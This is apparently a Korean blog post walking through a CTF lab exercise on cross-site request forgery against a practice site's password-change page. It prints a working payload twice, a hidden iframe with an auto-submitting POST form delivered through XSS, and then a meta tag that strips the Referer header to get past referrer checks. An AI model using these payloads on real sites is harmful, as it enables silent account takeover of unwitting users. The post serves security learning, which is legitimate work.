저번 포스팅에 이어서 풀어보겠습니다.
정상대로 로그인을 하겠습니다.
CSRF 공격이니 비밀번호 수정하기 위해 마이페이지에 비밀번호를 수정해 보겠습니다!
그리고 버프 스위트로 확인해 보겠습니다.
한 번 GET 방식으로 해보겠습니다.
그럼 POST 방식으로 공격을 하면 되겠죠!
XSS 공격이랑 병행하면 됩니다. 전 포스팅에 GET 방식으로 공격한 코드에서
form 태그에 POST으로 바꾸기만 하면 됩니다!
<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;" sandbox="allow-scripts"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php" target="stealthframe">
<input type="hidden" name="pw" value="12345654321">
</form>
<script>
document.forms[0].submit();
</script>
이렇게 하시면 iframe 으로 새 창에 form 태그가 보내지는데 높이랑 너비 값이 0이고 style이 none이라
피해자의 눈에 안 보입니다!
그리고 클릭만 해도 이 POST 방식으로 보내지게 스크립트에 document.forms[0].submit() 이용했습니다.
버프 스위트 통해 확인을 해보니
결국 POST 방식을 이용하는 것은 XSS 공격을 통해 가능합니다.
그니깐 취약점이 발견했는데? POST 방식이면 XSS 공격 통하는 곳을 찾으시면 됩니다!
여기서 조금 더 나아가서 만약 referer이 검증이 되야지만 수정이 가능하고
referer이 없으면 그냥 수정이 된다고 합시다.
referer은 요청 중에 헤더 부분에 있어요 그리고 이 referer은 요청을 보낸 위치을 말해요.
만약 비밀번호를 변경할 때 요청은 마이페이지에서 시작하겠죠.
그런데 이렇게 게시판에서 비밀번호 변경 요청을 하게 되면 referer에 게시판 URL이 찍히게 되고
서버 컴퓨터는 이를 의심해서 요청을 안 받아 주는 경우가 있습니다.
만약 referer 요청이 없거나 이상한 데에서 요청을 보낸거라면 아예 막아 버리는 서버가 있습니다.
거기는 공격하기가 까다로워지겠죠. 그런데 몇몇 서버는 referer이 없으면 그냥 받아 드리는 경우가 있습니다.
그 referer을 없애는 방법을 알려드릴게요
그럼 <meta name="referrer" content="no-referrer"> 이걸 추가 작성하시면 돼요!
<meta name="referrer" content="no-referrer">
<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;" sandbox="allow-scripts"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php" target="stealthframe">
<input type="hidden" name="pw" value="12345654321">
</form>
<script>
document.forms[0].submit();
</script>
버프 스위트를 확인해보니!
이렇게 Referer 없이 공격이 통하면 저 매타 태그를 이용하여 공격이 가능하다는 것을
보여드렸습니다.
감사합니다!
5/28 추가 수정을 했습니다 iframe에 sandbox을 추가해서 alert문 안나오게 했습니다.
'보안지식 > CSRF' 카테고리의 다른 글
CSRF 2번 공격 시나리오 (0) | 2023.05.28 |
---|---|
CSRF 1번 공격 시나리오 (2) | 2023.05.27 |
CSRF 공격 - 실습 (3번 풀이) (2) | 2023.05.22 |
CSRF 공격 - 실습 (1번 풀이) (0) | 2023.05.21 |
CSRF 정리 (0) | 2023.05.20 |